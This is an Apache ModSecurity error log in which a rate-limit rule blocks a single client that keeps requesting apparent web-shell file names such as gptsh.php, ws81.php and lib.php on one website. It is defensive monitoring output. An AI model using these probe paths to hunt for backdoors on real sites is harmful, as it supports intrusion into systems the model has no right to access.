[Sun Mar 29 22:25:59.824468 2026] [:error] [pid 23284:tid 23297] [client 52.242.135.164:44780] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws81.php"] [unique_id "ack2d4zBujdPHsq7wyS6HgAAAos"]
[Sun Mar 29 22:26:00.837006 2026] [:error] [pid 23168:tid 23212] [client 52.242.135.164:37835] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws81.php"] [unique_id "ack2eGP8p0yRL8ot_2-oiQAAAg8"]
[Sun Mar 29 22:26:01.685899 2026] [:error] [pid 32255:tid 32293] [client 52.242.135.164:2612] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws79.php"] [unique_id "ack2eWnfn-AtRoMbquz9HwAAAEI"]
[Sun Mar 29 22:26:03.337437 2026] [:error] [pid 23167:tid 23170] [client 52.242.135.164:21209] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws79.php"] [unique_id "ack2exIAHJCFaHff3_fJgQAAAcA"]
[Sun Mar 29 22:26:04.740265 2026] [:error] [pid 8818:tid 8833] [client 52.242.135.164:23079] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws79.php"] [unique_id "ack2fCCDvotZNSF0FBrnHwAAAUs"]
[Sun Mar 29 22:26:05.931442 2026] [:error] [pid 32255:tid 32298] [client 52.242.135.164:35329] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws79.php"] [unique_id "ack2fWnfn-AtRoMbquz9SAAAAEc"]
[Sun Mar 29 22:26:07.027428 2026] [:error] [pid 8818:tid 8823] [client 52.242.135.164:2623] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws78.php"] [unique_id "ack2fyCDvotZNSF0FBrnLAAAAUE"]
[Sun Mar 29 22:26:08.260944 2026] [:error] [pid 32255:tid 32302] [client 52.242.135.164:16272] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws78.php"] [unique_id "ack2gGnfn-AtRoMbquz9YQAAAEs"]
[Sun Mar 29 22:26:10.258737 2026] [:error] [pid 23284:tid 23291] [client 52.242.135.164:2988] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws78.php"] [unique_id "ack2gozBujdPHsq7wyS6PAAAAoU"]
[Sun Mar 29 22:26:11.833917 2026] [:error] [pid 23168:tid 23220] [client 52.242.135.164:23091] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws78.php"] [unique_id "ack2g2P8p0yRL8ot_2-omwAAAhc"]
[Sun Mar 29 22:26:14.809215 2026] [:error] [pid 23168:tid 23215] [client 52.242.135.164:37784] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws50.php"] [unique_id "ack2hmP8p0yRL8ot_2-ooQAAAhI"]
[Sun Mar 29 22:26:16.913260 2026] [:error] [pid 32257:tid 32337] [client 52.242.135.164:16749] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws50.php"] [unique_id "ack2iCE3TArOFrUtgWpHtQAAAJM"]
[Sun Mar 29 22:26:19.023218 2026] [:error] [pid 23167:tid 23183] [client 52.242.135.164:50514] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws50.php"] [unique_id "ack2ixIAHJCFaHff3_fJjQAAAc0"]
[Sun Mar 29 22:26:21.352382 2026] [:error] [pid 32257:tid 32330] [client 52.242.135.164:63261] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws50.php"] [unique_id "ack2jSE3TArOFrUtgWpHzgAAAIw"]
[Sun Mar 29 22:26:23.147581 2026] [:error] [pid 32257:tid 32327] [client 52.242.135.164:52666] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws44.php"] [unique_id "ack2jyE3TArOFrUtgWpH4wAAAIk"]
[Sun Mar 29 22:26:24.835119 2026] [:error] [pid 23250:tid 23268] [client 52.242.135.164:23074] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws44.php"] [unique_id "ack2kJxrpj-dQjy1cvoKogAAAlA"]
[Sun Mar 29 22:26:26.089300 2026] [:error] [pid 23168:tid 23201] [client 52.242.135.164:35355] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws44.php"] [unique_id "ack2kmP8p0yRL8ot_2-owAAAAgQ"]
[Sun Mar 29 22:26:27.061417 2026] [:error] [pid 23250:tid 23270] [client 52.242.135.164:63286] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws44.php"] [unique_id "ack2k5xrpj-dQjy1cvoKpwAAAlI"]
[Sun Mar 29 22:26:28.408672 2026] [:error] [pid 32257:tid 32319] [client 52.242.135.164:52069] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws43.php"] [unique_id "ack2lCE3TArOFrUtgWpH6QAAAIE"]
[Sun Mar 29 22:26:29.522932 2026] [:error] [pid 8818:tid 8830] [client 52.242.135.164:37788] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws43.php"] [unique_id "ack2lSCDvotZNSF0FBrnOQAAAUg"]
[Sun Mar 29 22:26:30.679965 2026] [:error] [pid 32257:tid 32341] [client 52.242.135.164:16312] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws43.php"] [unique_id "ack2liE3TArOFrUtgWpH7gAAAJc"]
[Sun Mar 29 22:26:32.084569 2026] [:error] [pid 23284:tid 23301] [client 52.242.135.164:16694] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws43.php"] [unique_id "ack2mIzBujdPHsq7wyS6VAAAAo8"]
[Sun Mar 29 22:26:32.909294 2026] [:error] [pid 32359:tid 32375] [client 52.242.135.164:23077] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws42.php"] [unique_id "ack2mAMb8G3UzfQP3Wgz1QAAAM4"]
[Sun Mar 29 22:26:34.294680 2026] [:error] [pid 32257:tid 32331] [client 52.242.135.164:63278] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws42.php"] [unique_id "ack2miE3TArOFrUtgWpH9gAAAI0"]
[Sun Mar 29 22:26:36.441456 2026] [:error] [pid 32359:tid 32380] [client 52.242.135.164:23077] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws42.php"] [unique_id "ack2nAMb8G3UzfQP3Wgz2AAAANM"]
[Sun Mar 29 22:26:38.102096 2026] [:error] [pid 32255:tid 32310] [client 52.242.135.164:16286] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws42.php"] [unique_id "ack2nmnfn-AtRoMbquz9zAAAAFM"]
[Sun Mar 29 22:26:40.074301 2026] [:error] [pid 23167:tid 23184] [client 52.242.135.164:27056] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws40.php"] [unique_id "ack2oBIAHJCFaHff3_fJqwAAAc4"]
[Sun Mar 29 22:26:41.967103 2026] [:error] [pid 32257:tid 32331] [client 52.242.135.164:40450] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/ws40.php"] [unique_id "ack2oSE3TArOFrUtgWpIAgAAAI0"]
[Sun Mar 29 22:28:33.163907 2026] [:error] [pid 23167:tid 23192] [client 52.242.135.164:38976] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eee.php"] [unique_id "ack3ERIAHJCFaHff3_fKUgAAAdY"]
[Sun Mar 29 22:28:33.828787 2026] [:error] [pid 32255:tid 32293] [client 52.242.135.164:30131] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eee.php"] [unique_id "ack3EWnfn-AtRoMbquz-lQAAAEI"]
[Sun Mar 29 22:28:34.536177 2026] [:error] [pid 32255:tid 32297] [client 52.242.135.164:34240] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eee.php"] [unique_id "ack3Emnfn-AtRoMbquz-mQAAAEY"]
[Sun Mar 29 22:28:35.475227 2026] [:error] [pid 23168:tid 23207] [client 52.242.135.164:44696] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/eee.php"] [unique_id "ack3E2P8p0yRL8ot_2-pVgAAAgo"]
[Sun Mar 29 22:28:36.321301 2026] [:error] [pid 32257:tid 32319] [client 52.242.135.164:33789] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ack3FCE3TArOFrUtgWpJDgAAAIE"]
[Sun Mar 29 22:28:37.301770 2026] [:error] [pid 8818:tid 8823] [client 52.242.135.164:30123] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ack3FSCDvotZNSF0FBrnwQAAAUE"]
[Sun Mar 29 22:28:37.819628 2026] [:error] [pid 32257:tid 32318] [client 52.242.135.164:25664] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ack3FSE3TArOFrUtgWpJEQAAAIA"]
[Sun Mar 29 22:28:38.726966 2026] [:error] [pid 32254:tid 32277] [client 52.242.135.164:30207] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/gptsh.php"] [unique_id "ack3Fqug2IHuyGgCTn9gnQAAAA0"]
[Sun Mar 29 22:28:39.154195 2026] [:error] [pid 32359:tid 32369] [client 52.242.135.164:25682] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xda.php"] [unique_id "ack3FwMb8G3UzfQP3Wg0HQAAAMg"]
[Sun Mar 29 22:28:39.573089 2026] [:error] [pid 23168:tid 23201] [client 52.242.135.164:60219] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xda.php"] [unique_id "ack3F2P8p0yRL8ot_2-pYQAAAgQ"]
[Sun Mar 29 22:28:40.199163 2026] [:error] [pid 32255:tid 32306] [client 52.242.135.164:2503] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xda.php"] [unique_id "ack3GGnfn-AtRoMbquz-ogAAAE8"]
[Sun Mar 29 22:28:40.799093 2026] [:error] [pid 32255:tid 32300] [client 52.242.135.164:33779] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/xda.php"] [unique_id "ack3GGnfn-AtRoMbquz-pQAAAEk"]
[Sun Mar 29 22:28:41.489979 2026] [:error] [pid 32255:tid 32312] [client 52.242.135.164:55595] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/roter.php"] [unique_id "ack3GWnfn-AtRoMbquz-pwAAAFU"]
[Sun Mar 29 22:28:43.056694 2026] [:error] [pid 23167:tid 23181] [client 52.242.135.164:27077] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/roter.php"] [unique_id "ack3GxIAHJCFaHff3_fKXAAAAcs"]
[Sun Mar 29 22:28:44.709048 2026] [:error] [pid 23137:tid 23148] [client 52.242.135.164:44687] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/roter.php"] [unique_id "ack3HBaWQa7LdZ_qGFYBRwAAAYk"]
[Sun Mar 29 22:28:45.866066 2026] [:error] [pid 23168:tid 23198] [client 52.242.135.164:25703] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/roter.php"] [unique_id "ack3HWP8p0yRL8ot_2-pYwAAAgE"]
[Sun Mar 29 22:28:47.321527 2026] [:error] [pid 32255:tid 32309] [client 52.242.135.164:60196] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/size.php"] [unique_id "ack3H2nfn-AtRoMbquz-sgAAAFI"]
[Sun Mar 29 22:28:52.839286 2026] [:error] [pid 23168:tid 23199] [client 52.242.135.164:30730] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/size.php"] [unique_id "ack3JGP8p0yRL8ot_2-pcwAAAgI"]
[Sun Mar 29 22:28:53.911478 2026] [:error] [pid 32257:tid 32327] [client 52.242.135.164:55598] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/size.php"] [unique_id "ack3JSE3TArOFrUtgWpJGwAAAIk"]
[Sun Mar 29 22:28:55.083084 2026] [:error] [pid 23137:tid 23161] [client 52.242.135.164:30150] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/size.php"] [unique_id "ack3JxaWQa7LdZ_qGFYBTgAAAZY"]
[Sun Mar 29 22:28:57.243646 2026] [:error] [pid 23168:tid 23215] [client 52.242.135.164:48284] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/save.php"] [unique_id "ack3KWP8p0yRL8ot_2-pewAAAhI"]
[Sun Mar 29 22:28:57.963442 2026] [:error] [pid 23167:tid 23190] [client 52.242.135.164:30758] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/save.php"] [unique_id "ack3KRIAHJCFaHff3_fKZwAAAdQ"]
[Sun Mar 29 22:28:58.813724 2026] [:error] [pid 23167:tid 23170] [client 52.242.135.164:21763] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/save.php"] [unique_id "ack3KhIAHJCFaHff3_fKbgAAAcA"]
[Sun Mar 29 22:28:59.289364 2026] [:error] [pid 23250:tid 23264] [client 52.242.135.164:44686] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/save.php"] [unique_id "ack3K5xrpj-dQjy1cvoLXAAAAkw"]
[Sun Mar 29 22:29:00.785824 2026] [:error] [pid 8818:tid 8837] [client 52.242.135.164:48314] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ack3LCCDvotZNSF0FBrn7wAAAU8"]
[Sun Mar 29 22:29:02.386224 2026] [:error] [pid 32257:tid 32339] [client 52.242.135.164:26537] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ack3LiE3TArOFrUtgWpJLAAAAJU"]
[Sun Mar 29 22:29:03.377517 2026] [:error] [pid 23137:tid 23157] [client 52.242.135.164:48907] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ack3LxaWQa7LdZ_qGFYBUQAAAZI"]
[Sun Mar 29 22:29:03.949148 2026] [:error] [pid 23284:tid 23299] [client 52.242.135.164:60480] [client 52.242.135.164] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "www.vetstars.com.au"] [uri "/lib.php"] [unique_id "ack3L4zBujdPHsq7wyS7zQAAAo0"]
